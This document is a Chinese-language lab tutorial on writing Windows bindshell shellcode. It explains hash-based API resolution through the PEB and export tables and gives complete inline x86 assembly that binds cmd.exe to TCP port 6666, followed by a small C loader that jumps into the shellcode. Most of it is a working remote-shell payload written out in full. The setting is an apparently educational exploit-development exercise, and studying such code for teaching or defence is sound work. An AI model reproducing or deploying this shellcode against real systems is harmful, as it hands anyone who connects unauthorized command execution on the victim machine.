目录
本实验采用的操作系统为windows xp,实验软件有:vc++
编写的bindshell应该实现以下功能:
(1)调用WSAStartup()初始化winsocket;
注:任何使用Windows套接API的windows程序调用的第一个函数必须是WSAStartup()。
(2)调用WSASocket()创建套接字;
注:套接字是端口与IP地址的组合,用于进程之间的通信。
(3)调用bind()函数绑定套接字到本地(6666)端口;
(4)调用listen()函数对连接请求进行监听;
(5)调用accept()处理连接请求;
(6)创建一个cmd进程,并将其输入与输出重定向到创建的套接字上;
注:为客户端创建shell命令窗口,可以用CreateProcessA()函数。
(7)调用ExitProcess()用于程序的正常退出。
可以看到要想实现bindshell的功能,需要的函数包括:
- LoadLibraryA() //用于装载ws2_32.dll
- CreateProcessA()
- ExitProcess()
注:windows下的socket程序依赖ws2_32.dll,必须提前装载。
- WSAStartup()
- WSASocket()
- bind()
- listen()
- accept()
在用汇编语言编写bindshell之前,我们需要搜索相关库函数的导出表,查找导出表中的函数名,最终确定函数的入口地址。 在搜索操作中,采用比较hash摘要的办法,而不是直接比较函数名。
本实验采用的hash算法如下(esi指向当前hash的函数名,edx被初始化null):
- hash_loop:
- lodsb :把函数名中的一个字符装入al,并且esi+1,指向函数名中的下一个字符
- xor al,0x71 ;用0x71异或当前字符
- sub dl,al ;更新dl中的hash值
- cmp al,0x71 ;继续循环,直到遇到字符串结尾的null
- jne hash_loop
通过这个hsah函数,原函数名、hash值、hash值对应的指令三者之间的关系如下表:
| 函数名 | hash后得到的摘要 | 摘要对应的等价于nop的指令 |
| LoadLibraryA | 0x59 | pop ecx |
| CreateProcessA | 0x81 | or ecx,0x203062d3 |
| ExitProcess | 0xc9 | |
| WSAStartup | 0xd3 | |
| WSASocket | 0x62 | |
| bind | 0x30 | |
| listen | 0x20 | |
| accept | 0x41 | inc ecx |
需要注意:等价于nop指令,指的是相对于实际代码的上下文而言,不影响后续代码执行的指令。将等价于nop指令放在shellcode开头,就可以省去跳过这段摘要的跳转指令,进一步缩小shellcode的大小。
另外,在调用CreateProcessA的时候,需要“cmd”这个字符串作为参数得到一个命令行的shell。已知这个调用不需要后缀“.exe”,并且对字符串的大小写无关,也就是说,“cMD”和“cmD”是等价的。
| ASCII字符 | ASCII值(机器码) | 机器码对应的指令 |
| C | 0x43 | inc ebx |
| M | 0x4d | dec ebp |
| d | 0x64 | FS: |
从“CMd”字符的ASCII码对应的指令来看,对后续指令的执行基本上没有影响,属于“准nop”指令,故将字符“CMd”放在hash值后面。
有关动态定位API函数地址的原理,请参考CSDN
以定位kernel32.dll为例,代码如下:
- mov ebx, fs:[edx+0x30] // ebx = address of PEB
- mov ecx, [ebx+0x0c] // ecx = pointer to loader data
- mov ecx, [ecx+0x1c] // ecx = first entry in initialisation order list
- mov ecx, [ecx] // ecx = second entry in list kernelbase.dll
- mov ebp, [ecx+0x08] // ebp = base address of kernel32.dll
- __asm
- {
- // eax points here
- // function hashes (executable as nop-equivalent)
- _emit 0x59 // LoadLibraryA // pop ecx
- _emit 0x81 // CreateProcessA // or ecx,0x203062d3
- _emit 0xc9 // ExitProcess
- _emit 0xd3 // WSAStartup
- _emit 0x62 // WSASocketA
- _emit 0x30 // bind
- _emit 0x20 // listen
- _emit 0x41 // accept // inc ecx
-
- // "CMd"
- _emit 0x43 // inc ebx
- _emit 0x4d // dec ebp
- _emit 0x64 // FS:
-
- // start of proper code
- cdq // set edx=0 (eax points to stack so is less than 0x80000000)
- xchg eax,esi // esi = addr of first function hash
- lea edi, [esi-0x18] // edi = addr of start writing function
- // address (last addr will be written just before "cmd")
-
- // find base addr of kernel32.dll
- mov ebx, fs:[edx+0x30] // ebx = address of PEB
- mov ecx, [ebx+0x0c] // ecx = pointer to loader data
- mov ecx, [ecx+0x1c] // ecx = first entry in initialisation order list
- mov ecx, [ecx] // ecx = second entry in list kernelbase.dll
- mov ebp, [ecx+0x08] // ebp = base address of kernel32.dll
-
- // make some stack space
- mov dh,0x03 // sizeof(WSADATA) is 0x190
- sub esp,edx
-
- // push a pointer to "ws2_32" onto stack
- mov dx,0x3233 // rest of edx is null
- push edx
- push 0x5f327377
- push esp
-
- find_lib_functions:
- lodsb // load next hash into al and increment esi
- cmp al, 0xd3 // hash of "WSAStartup" - trigger LoadLibrary("ws2_32")
- jne find_functions
- xchg eax,ebp // save current hash
- call [edi - 0xc] // LoadLibraryA
- xchg eax,ebp // restore current hash, and update ebp
- // whith base address of ws2_32.dll
- push edi // save location of addr of first winsock function
-
- find_functions:
- pushad // preserve registers
- mov eax, [ebp+0x3c] // eax = start of PE header
- mov ecx, [ebp+eax+0x78] // ecx = relative offset of export table
- add ecx, ebp // ecx = absolute addr of export table
- mov ebx, [ecx+0x20] // ebx = relative offset of names table
- add ebx, ebp // ebx = absolute addr of names table
- xor edi, edi // edi will count through the functions
-
- next_function_loop:
- inc edi // increment function counter
- mov esi, [ebx+edi*4] // esi = relative offset of current function name
- add esi, ebp // esi = absolute addr of current function name
- cdq //dl will hold hash(we know eax is small)
-
- hash_loop:
- lodsb // load next char into al and increment esi
- xor al, 0x71 // xor current char with 0x71
- sub dl, al // update hash with current char
- cmp al, 0x71 // loop until we reach end of string
- jne hash_loop
- cmp dl, [esp+0x1c] // compare to the requested hash (saved on stack from pushad)
-
- jnz next_function_loop
-
- //we now have the right function
- mov ebx, [ecx + 0x24] //ebx = relative offset of ordinals table
- add ebx, ebp //ebx = absolute addr of ordinals table
- mov di, [ebx + 2 * edi] //di = ordinal number of matched function
- mov ebx, [ecx + 0x1c] //ebx = relative offset of address table
- add ebx, ebp //ebx = absolute addr of address table
- add ebp, [ebx + 4 * edi] //add to ebp (base addr of module) the relative
- // offset of matched function
-
- xchg eax, ebp // move func addr into eax
- pop edi // edi is last onto stack in pushad write
- stosd // write functon addr to [edi] and increment edi
-
- push edi
- popad // restore registers
- cmp esi, edi // loop until we reach end of last hash
- jne find_lib_functions
- pop esi // saved location of first winsock function
- // we will lodsd and call each func in sequence
-
- // initialize winsock
- push esp // use stack for WSADATA
- push 0x02 // wVersionRequested
- lodsd
- call eax // WSAStartup
-
- // null-terminate "cmd"
- mov byte ptr[esi + 0x13], al // eax ==0 if WSAStartup() worked
-
- // clear some stack to use as NULL parameters
- lea ecx, [eax+0x30] // sizeof(STARTUPINFO) = 0x44
- mov edi,esp
- rep stosd // eax is still 0
-
- //create socket
- inc eax
- push eax // type = 1 (SOCK_STREAM)
- inc eax
- push eax // af = 2 (AF_INET)
- lodsd
- call eax // WSASocketA
- xchg ebp,eax // save SOCKET descriptor in ebp
- // (safe from being changed by remaining API calls)
-
- // push bind parameters
- mov eax, 0x0a1aff02 // ox1a0a = port 6666, 0x02 = AF_INET
- xor ah,ah // remove the ff from eax
- push eax // we use 0x0a1a0002 as both the name (strucht sockaddr)
- // and namelen (which only needs to be large enough)
- push esp // pointer to our sockaddr struct
-
- // call bind(), linsten() and accept() in turn
- call_loop:
- push ebp //save SOCKET descriptor(we implicitly pass NULL for all other params)
-
- lodsd
- call eax // call the next function
- test eax,eax // bind() and listen() return 0,
- // accept() returns a SOCKET descriptor
- jz call_loop
-
- // initialise a STARTUPINFO structrue at esp
- inc byte ptr[esp+0x2d] // set STARTF_USERTDHANDLES to true
- sub edi,0x6c // point edi at hStdInput in STARTUPINFO
- stosd //use SOCKET descriptor returned by accept (still in eax)
- // as the stdin handle same for stdout
- stosd // same for stderr (optional)
-
- // create process
- pop eax // set eax = 0 (STARTUPINFO now at esp+4)
- push esp // use stack at PROCESSINFORMATION structure
- // (STARTUPINFO now back to esp)
- push esp // STARTUPINFO structrue
- push eax // lpCurrentDirectory = NULL
- push eax // lpEnvironment = NULL
- push eax // dwCreationFlags = NULL
- push esp // bInheritHandles = TRUE
- push eax // lpThreadAttributes = NULL
- push eax // lpProcessAttributes = NULL
- push esi // lpCommandLine = "cmd"
- push eax // lpApplicationName = NULL
- call[esi-0x1c] // CreateProcessA
-
- // call ExitProcess()
- call[esi-0x18] //ExitProcess
- }
可以j将上述代码转化为机器码形式,用以下的代码装载shellcode:
- void main()
- {
- __asm
- {
- lea eax,sc
- push eax
- ret
- }
- }